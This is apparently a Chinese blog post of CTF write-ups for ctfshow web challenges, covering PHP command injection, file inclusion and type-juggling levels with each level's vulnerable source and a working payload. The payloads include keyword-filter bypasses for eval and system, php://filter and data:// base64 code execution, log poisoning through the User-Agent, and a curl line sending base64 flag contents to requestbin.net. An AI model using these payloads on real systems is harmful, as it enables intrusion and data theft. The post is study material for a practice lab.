ctfshow一部分wp

命令执行

运算符有&，|，;，%0a，%0d

web入门29

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 00:26:48 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

看到eval函数，不懂的去看看一句话木马原理就懂了

payload:?c=system("cat fla*");

web入门30

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 00:42:26 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

这里发现system函数都被过滤了，但像system函数的还有很多

system() ，passthru() ，exec() ，shell_exec() ，popen() ，proc_open() ，pcntl_exec()

payload:?c=echo exec('cat fla*');

web入门31

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 00:49:10 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

过滤了cat,system

在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、strings、file、xxd、hexdump、od

payload:?c=echo(`tac%09fl*`);

web入门32

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 00:56:31 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

在羽师傅博客中看到，发现 include"/etc/passwd"?>可以执行成功。

一个问题include包含php文件不会在页面显示出来

伪协议可以读取文件

payload:?c=include“$_POST[1]”?>
1=php://filter/read=convert.base64-encode/resource=flag.php

web入门33

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 02:22:27 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 
// 
error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

看到过滤把双引号都过滤了

php特性可以用include$_POST[1]

payload:?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

web入门34

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 04:21:29 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

payload同web33

web入门35

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 04:21:23 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

payload同web33

web入门36

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-04 00:12:34 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-04 04:21:16 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 
*/ 

error_reporting(0); 
if(isset($_GET['c'])){ 
    $c = $_GET['c']; 
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ 
        eval($c); 
    } 
     
}else{ 
    highlight_file(__FILE__); 
}

这里可以看到数字被过滤了

所以把web33的1改为字母就好了

web入门42

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 20:51:55 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    system($c." >/dev/null 2>&1"); 
}else{ 
    highlight_file(__FILE__); 
}

关键代码 system($c." >/dev/null 2>&1");

上面代码所说的是执行传进来的语句，然后接上 >/dev/null 2>&1文件内容丢失，而不会输出到标准输出.

payload:?c=cat flag.php;

web入门43

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 21:32:51 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

这里比web入门42加了过滤把cat ；都过滤了

在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、ca''t

有管道符不需要分号结尾，可以用 && ，&，|| ，|

payload:?c=tac flag.php||

web入门44

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 21:32:01 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/;|cat|flag/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

这里比web入门42，43加了过滤把'cat' ';' 'flag'都过滤了

payload:?c=tac fla*||

web入门45

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 21:35:34 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| /i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

这里比web入门42，43,44加了过滤把'cat' ，';'， 'flag' ，' '都过滤了

在linux 空格可以用以下字符串代替：

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

payload:?c=tac%09fla*||

方法二

payload:?c=tac%09fla?????||

web入门46

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 21:50:19 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

这里把数字和星号都过滤了

但%09好像是编码，可能不会被过滤

payload:?c=tac%09fla?????||

web入门47

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 21:59:23 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

看过滤发现和上一个payload一样

姿势太多可能会碰到一个payload通杀

payload:?c=tac%09fla??php||

web入门48

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 22:06:20 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

可以直接用前面的payload，但我们不是为了刷题而刷题，关键还是要学姿势

下面是新的绕过方式

payload:?c=ca\t%09fla\g?php||

web入门49

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 22:22:43 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

payload:?c=c'a't%09f'l'ag.php||

web入门50

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 22:32:47 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

把09过滤了，不能再用%09

前面有讲过空格绕过有很多方法

在linux 空格可以用以下字符串代替：

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等

payload:?c=ca\t<>fla\g.php||

web入门51

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 22:42:52 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

payload:?c=ca\t<fla\g.php||

web入门52

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-05 20:49:30 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-05 22:50:30 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
    $c=$_GET['c']; 
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ 
        system($c." >/dev/null 2>&1"); 
    } 
}else{ 
    highlight_file(__FILE__); 
}

这次把<>，< 都过滤了

按照前面的payload应该?c=ca\t${IFS}fla\g.php||

返回

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:44
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:49:53
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="flag_here";

并不是真的flag

那只能试试目录遍历

ls${IFS}/|| //把根目录列出来

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

发现flag

payload:?c=ca\t${IFS}/fla*||

web文件包含

web入门78

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 10:52:43 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-16 10:54:20 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

PHP伪协议读取

前提：php版本 >=5.2

​ allow_url_fopen off/on

​ allow_url_include off/on

用法：?file=php://filter/read=convert.base64-encode/resource=flag.php

payload:?file=php://filter/convert.base64-encode/resource=flag.php

web入门79

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:10:14 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-16 11:12:38 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $file = str_replace("php", "???", $file); 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

上面可以看到$file = str_replace("php", "???", $file);

str_replace以我理解，像过滤了php

官方解析：该字符串或数组是将 $file 中全部的 php 都被 ??? 替换之后的结果。

php伪协议之data:

前提：php版本 >=5.2

​ allow_url_fopen on

​ allow_url_include on

用法：?file=data://text/plain,

​ [or]

​ ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

​ [or]

​ ?file=data:text/plain,

​ [or]

​ ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

payload:?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web入门80

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-16 11:26:29 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $file = str_replace("php", "???", $file); 
    $file = str_replace("data", "???", $file); 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

这道题把常用的php伪协议都过滤了

只能用file://协议

file+日志包含

会发现没有任何flag回显，然后查看一下目录

回显fl0g.php，index.php

payload:?file=/var/log/nginx/access.log

然后在UA写php代码，<?php system('cat fl0g.php');?>

web入门81

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-16 15:51:31 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $file = str_replace("php", "???", $file); 
    $file = str_replace("data", "???", $file); 
    $file = str_replace(":", "???", $file); 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

这里过滤了php，data，:

web80用日志包含都没有被过滤

payload同理web80

php特性

web入门89

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 15:38:51 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


include("flag.php"); 
highlight_file(__FILE__); 

if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if(preg_match("/[0-9]/", $num)){ 
        die("no no no!"); 
    } 
    if(intval($num)){ 
        echo $flag; 
    } 
}

允许输入数字，输入一个数组导致绕过

payload:?num[]=1

web入门90

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:06:11 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if($num==="4476"){ 
        die("no no no!"); 
    } 
    if(intval($num,0)===4476){ 
        echo $flag; 
    }else{ 
        echo intval($num,0); 
    } 
}

本题强等于4476值

可以想到输入不同的进制进行绕过

payload:?num=0x117c

web入门91

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: Firebasky 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:16:09 
# @link: https://ctfer.com 

*/ 

show_source(__FILE__); 
include('flag.php'); 
$a=$_GET['cmd']; 
if(preg_match('/^php$/im', $a)){ 
    if(preg_match('/^php$/i', $a)){ 
        echo 'hacker'; 
    } 
    else{ 
        echo $flag; 
    } 
} 
else{ 
    echo 'nonononono'; 
}

详细解释F师傅

这里我理解的不是很透彻，一开始以为是sql注入里的%00截断一样，f师傅跟我说不是这样理解的

有师傅了解的希望可以指点一下

preg_match('/^php$/im', $a) //这里指多行匹配

payload:?cmd=php%0aflag.php

web入门92

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: Firebasky 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:29:30 
# @link: https://ctfer.com 

*/ 

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if($num==4476){ 
        die("no no no!"); 
    } 
    if(intval($num,0)==4476){ 
        echo $flag; 
    }else{ 
        echo intval($num,0); 
    } 
}

跟web90一样，考点是intval函数

payload:?num=010574

web入门93

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: Firebasky 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:32:58 
# @link: https://ctfer.com 

*/ 

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if($num==4476){ 
        die("no no no!"); 
    } 
    if(preg_match("/[a-z]/i", $num)){ 
        die("no no no!"); 
    } 
    if(intval($num,0)==4476){ 
        echo $flag; 
    }else{ 
        echo intval($num,0); 
    } 
}

这道题跟web92，增加了过滤，不能使用十六进制了

payload:?num=010574

web入门94

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:46:19 
# @link: https://ctfer.com 

*/ 

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if($num==="4476"){ 
        die("no no no!"); 
    } 
    if(preg_match("/[a-z]/i", $num)){ 
        die("no no no!"); 
    } 
    if(!strpos($num, "0")){ 
        die("no no no!"); 
    } 
    if(intval($num,0)===4476){ 
        echo $flag; 
    } 
}

其实这里还有一个绕过方式

四年级的时候，数学老师教我们小数，那么4476===4476.0呢

payload:?num=4476.0

web入门95

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 16:53:59 
# @link: https://ctfer.com 

*/ 

include("flag.php"); 
highlight_file(__FILE__); 
if(isset($_GET['num'])){ 
    $num = $_GET['num']; 
    if($num==4476){ 
        die("no no no!"); 
    } 
    if(preg_match("/[a-z]|\./i", $num)){ 
        die("no no no!!"); 
    } 
    if(!strpos($num, "0")){ 
        die("no no no!!!"); 
    } 
    if(intval($num,0)===4476){ 
        echo $flag; 
    } 
}

这里过滤了字母，0开头，4476值

小学学过负数前面带符号，那正数呢

payload:?num=+010574

web入门96

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 19:21:24 
# @link: https://ctfer.com 

*/ 


highlight_file(__FILE__); 

if(isset($_GET['u'])){ 
    if($_GET['u']=='flag.php'){ 
        die("no no no"); 
    }else{ 
        highlight_file($_GET['u']); 
    } 
}

考察点：路径问题

./flag.php //相对路径

/var/www/html/flag.php //绝对路径

php://filter/resource=flag.php //php伪协议

payload:?u=./flag.php

web入门97

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-18 19:36:32 
# @link: https://ctfer.com 

*/ 

include("flag.php"); 
highlight_file(__FILE__); 
if (isset($_POST['a']) and isset($_POST['b'])) { 
if ($_POST['a'] != $_POST['b']) 
if (md5($_POST['a']) === md5($_POST['b'])) 
echo $flag; 
else 
print 'Wrong.'; 
} 
?>

考察点：php中hash比较缺陷
原因：md5()函数无法处理数组，如果传入的为数组，会返回NULL，所以两个数组经过加密后得到的都是NULL,也就是强相等的。
payload:a[]=1&b[]=2

这道题参考羽师傅的wp

web入门98

web入门133

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: Firebasky 
# @Date:   2020-10-13 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-10-13 16:43:44 

*/ 

error_reporting(0); 
highlight_file(__FILE__); 
//flag.php 
if($F = @$_GET['F']){ 
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ 
        eval(substr($F,0,6)); 
    }else{ 
        die("6个字母都还不够呀?!"); 
    } 
}

这道题要用到DNSlog的原理

payload:?F=`$F`;+curl%20http://requestbin.net/r/174w9fo1?a=`cat%20fla*|grep%20flag|base64`;

这里我讲解一下后面的

`cat fla*|grep flag|base64`

cat fla* //显示flag.php内容

| //前一个命令的执行结果交给后一个命令来执行

grep flag //是在flag.php下搜索flag

然后base64编码

web入门142

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-10-13 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-10-17 19:36:02 

*/ 

error_reporting(0); 
highlight_file(__FILE__); 
if(isset($_GET['v1'])){ 
    $v1 = (String)$_GET['v1']; 
    if(is_numeric($v1)){ 
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); 
        sleep($d); 
        echo file_get_contents("flag.php"); 
    } 
}

发现$v1强制转换(String)类型

下面看到把我们输入的值乘以 0x36d * 0x36d * 0x36d * 0x36d * 0x36d

网页中请求超过一定时间就会返回 请求超时

方法一

当我们输入v1=0的时候

0*0x36d * 0x36d * 0x36d * 0x36d * 0x36d==0

sleep(0)

不会出现延迟

payload:?v1=0

方法二

当我们输入v1=负数时

posted @ 2020-11-05 22:21  小非鱼  阅读(41)  评论(0)    收藏  举报